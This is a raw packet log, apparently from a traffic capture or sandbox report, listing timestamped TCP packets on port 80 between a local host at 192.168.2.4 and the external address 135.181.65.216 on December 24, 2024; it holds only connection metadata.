Dec 24, 2024 22:27:12.369446993 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.369545937 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.374171019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.374237061 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.374253035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.374368906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.433464050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.433552027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.433589935 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.433712959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.435182095 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.435266972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.435882092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.435973883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.435981989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.436094999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.439409971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.439510107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.439536095 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.439641953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.442903042 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.442990065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.443032026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.443156958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.446475029 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.446599007 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.446751118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.446863890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.449764013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.449852943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.449891090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.450035095 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.453054905 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.453140974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.453167915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.453247070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.456376076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.456459045 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.456500053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.456617117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.459580898 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.459662914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.459702015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.459820986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.462723017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.462841988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.462847948 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.462965965 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.465881109 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.466000080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.468993902 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.469103098 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.469139099 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.472054958 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.472090006 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.472170115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.472904921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.475053072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.475177050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.475919008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.478085041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.478204966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.481112003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.481146097 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.481214046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.481899977 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.484122038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.484241009 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.484899044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.487246037 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.487364054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.487916946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.489094019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.489212036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.490931988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.490967989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.491015911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.492808104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.492841005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.492908955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.493901014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.494668007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.494766951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.496534109 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.496570110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.496669054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.496902943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.498374939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.498552084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.499917984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.500241041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.500370026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.502114058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.502147913 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.502316952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.503971100 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.504018068 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.504050016 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.505820036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.505860090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.505922079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.505955935 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.507729053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.507855892 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.507893085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.509805918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.509823084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.509850979 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.510304928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.511837959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.511919022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.512056112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.512413025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.998950958 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.999046087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.999044895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.999063969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.999105930 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.999135017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.999330997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.999346018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.999362946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.999381065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.999397993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.999401093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.999433994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.999433994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.999469995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.000005960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000022888 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000039101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000056028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000066042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.000072956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000107050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.000138044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.000932932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000951052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000966072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000983000 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.000984907 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.001020908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.001034975 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.001039982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.001053095 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.001104116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.001972914 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.001991034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002006054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002022982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002027988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.002038956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002053022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.002055883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002087116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.002115965 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.002876997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002922058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002928972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.002938032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002954960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002964020 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.002980947 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.002983093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.003000021 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.003030062 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.003518105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.003535986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.003571033 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.003602028 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.003798008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.003813982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.003853083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.003873110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.005419970 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.005476952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.005557060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.005609989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.007306099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.007358074 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.007477045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.007534027 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.009144068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.009201050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.009272099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.009325981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.011059046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.011117935 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.011200905 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.011259079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.012840033 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.012893915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.012964010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.013019085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.014731884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.014796019 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.014889002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.014934063 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.016616106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.016665936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.016753912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.016799927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.018502951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.018551111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.018590927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.018640995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.020351887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.020411968 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.020446062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.020497084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.022327900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.022375107 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.022389889 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.022433996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.024033070 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.024080992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.024120092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.024163008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.025932074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.025978088 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.025988102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.026032925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.027863979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.027913094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.028105021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.028155088 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.029625893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.029674053 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.029766083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.029813051 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.031558990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.031609058 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.031677008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.031722069 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.033395052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.033444881 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.033480883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.033525944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.035201073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.035248995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.035484076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.035531998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.037122011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.037173033 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.037216902 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.037266016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.039052963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.039069891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.039107084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.039118052 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.040849924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.040896893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.041136026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.041182995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.042679071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.042727947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.042835951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.042885065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.044589996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.044625998 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.044642925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.044667959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.046506882 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.046524048 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.046557903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.046569109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.048264027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.048312902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.048439980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.048491955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.050096989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.050148010 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.050295115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.050344944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.052017927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.052067995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.052081108 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.052136898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.053921938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.053939104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.053968906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.053985119 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.055713892 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.055762053 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.055829048 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.055875063 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.057571888 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.057625055 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.057687044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.057734966 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.059425116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.059473991 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.059581041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.059628010 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.061323881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.061372995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.061475039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.061525106 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.063189983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.063236952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.063266039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.063323975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.063419104 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.065082073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.065129042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.065162897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.065211058 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.066888094 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.066937923 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.066963911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.067009926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.068768978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.068818092 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.068841934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.068886995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.070632935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.070679903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.070744038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.070797920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.072427988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.072477102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.072920084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.072973967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.074285984 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.074337006 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.074467897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.074517965 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.076116085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.076170921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.076240063 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.076287985 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.078005075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.078052044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.078114986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.078164101 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.079879999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.079930067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.080054998 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.080105066 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.081753016 CET	80	49749	135.181.65.216	192.168.2.4
